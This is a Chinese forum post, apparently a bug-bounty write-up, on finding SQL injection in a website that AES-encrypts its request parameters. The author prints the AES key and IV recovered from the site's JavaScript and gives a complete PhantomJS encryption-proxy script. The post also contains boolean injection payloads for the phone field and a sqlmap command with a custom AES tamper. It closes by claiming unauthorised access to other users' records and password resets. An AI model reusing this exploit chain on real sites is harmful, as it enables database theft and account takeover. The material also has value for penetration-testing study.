电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2546 人浏览分享

M78sec]吊打SRC的加密传输实现SQLi挖掘

[复制链接]
2546 0
温馨提示
本文章仅供学习交流使用,文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用任何人
不得将其用于非法用途以及盈利等目的,否则后果自行承担!
0x01:解决加密传输
在进行常规渗透测试时,发现任何传输都是被加密过的

DRuZFJ.png

遇到此类情况,建议翻翻JS来寻找加密规则
右键-审查元素-event 可以快速定位到相关js代码

DRu1eO.png

如图,可以发现当点击按钮时,会执行ForgetPwd.sendCode() 即ForgetPwd变量中的sendCode()函数
格式化JS代码后

DRutfA.png

可以看见使用了aes_encrypt函数对传入的值进行加密
但在当前JS中未搜寻到该函数声明,于是可以推算出是包含在另一个JS文件

69.png

在aes.js 中搜寻到了秘钥及偏移量,填充,模式
秘钥:d49d691f234441add2f610d5d11f6aad
偏移量:b883b5ec8ca259692869ada4b72dc6f5
填充:zeropadding
模式:CBC
先用在线AES解密网站试试

68.png

0x02 编写解密程序
然后为了方便渗透测,我这里用了phantomjs来写出解密程序
phantom.js下载链接
https://phantomjs.org/download.html
jsEncrypter_base.js:
  1. var webserver = require('webserver');
  2. server = webserver.create();
  3. var host = '127.0.0.1';
  4. var port = '1664';
  5. // 加载实现加密算法的js脚本
  6. var wasSuccessful = phantom.injectJs('aes.js') && phantom.injectJs('pad-zeropadding.js');
  7. // 处理函数
  8. function js_encrypt(payload){
  9. /*********************************************************/
  10. var AesKey = "d49d691f234441add2f610d5d11f6aad";
  11. var CBCIV = "b883b5ec8ca259692869ada4b72dc6f5";
  12. var CBCOptions = {
  13.      iv: CryptoJS.enc.Utf8.parse(CBCIV),
  14.      mode:CryptoJS.mode.CBC,
  15.      padding: CryptoJS.pad.ZeroPadding
  16. }
  17. var key = CryptoJS.enc.Utf8.parse(AesKey);
  18. var secretData = CryptoJS.enc.Utf8.parse(payload);
  19. var encrypted = CryptoJS.AES.encrypt(
  20.        secretData,
  21.        key,
  22.        CBCOptions
  23.      );
  24. return encrypted.toString();
  25. /*********************************************************/
  26. }


  27. if(wasSuccessful){
  28. console.log(" load js successful");
  29. console.log("[!] ^_^");
  30. console.log(" jsEncrypterJS start!");
  31. console.log("[+] address: http://"+host+":"+port);
  32. }else{
  33. console.log(' load js fail!');
  34. }


  35. var service = server.listen(host+':'+port,function(request, response){
  36. try{
  37. if(request.method == 'POST'){
  38. var payload = request.post['payload'];
  39. var encrypt_payload = js_encrypt(payload);
  40. console.log('[+] ' + payload + ':' + encrypt_payload);
  41. response.statusCode = 200;
  42. response.write(encrypt_payload.toString());
  43. response.close();
  44. }else{
  45. response.statusCode = 200;
  46. response.write("^_^\n\rhello jsEncrypter!");
  47. response.close();
  48. }
  49. }catch(e){
  50. console.log('\n-----------------Error Info--------------------')
  51. var fullMessage = "Message: "+e.toString() + ':'+ e.line;
  52. for (var p in e) {
  53. fullMessage += "\n" + p.toUpperCase() + ": " + e[p];
  54. }
  55. console.log(fullMessage);
  56. console.log('---------------------------------------------')
  57. console.log(' phantomJS exit!')
  58. phantom.exit();
  59. }
  60. });
复制代码

然后运行 phantomjs.exe jsEncrypter_base.js
利用jsEncrypter插件来测试
https://github.com/c0ny1/jsEncrypter/releases/tag/0.3.2

66.png

0x03 挖掘漏洞
先前解密成功后 我就开始手注了几个简单的payload 但回显不同,所以可以确定验证手机号此处是存在注入点的
比如
phone=16742264301'and '1'='0'&lang=zh

phone=16742264301'and '1'='1'&lang=zh

62.png

这个时候就面临两个选择,选择和sqlmap对接 or 用我自己半个月前写的盲注脚本 不过盲注脚本还需要二改
用的也不是像sqlmap那样二分法注入 很浪费时间,所以只能用sqlmap的
但sqlmap默认是没有这种加密脚本的,So 还得自己写个tamper

Aes.py公众号内回复AES_tamper即可下载

最后
python sqlmap.py -r 1.txt --tamper aes.py,lowercase.py,equaltolike.py --dbms mysql --proxy http://1
27.0.0.1:8080 --force-ssl --risk 3 --tech B --skip-urlencode --level 3

61.png

0x04 后续
后续还挖到了几处逻辑漏洞,未授权查看其他用户充值记录,重置任意用户密码等
和其他几处接口皆存在SQL注入
正所谓"金玉其外,败絮其中"啊

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.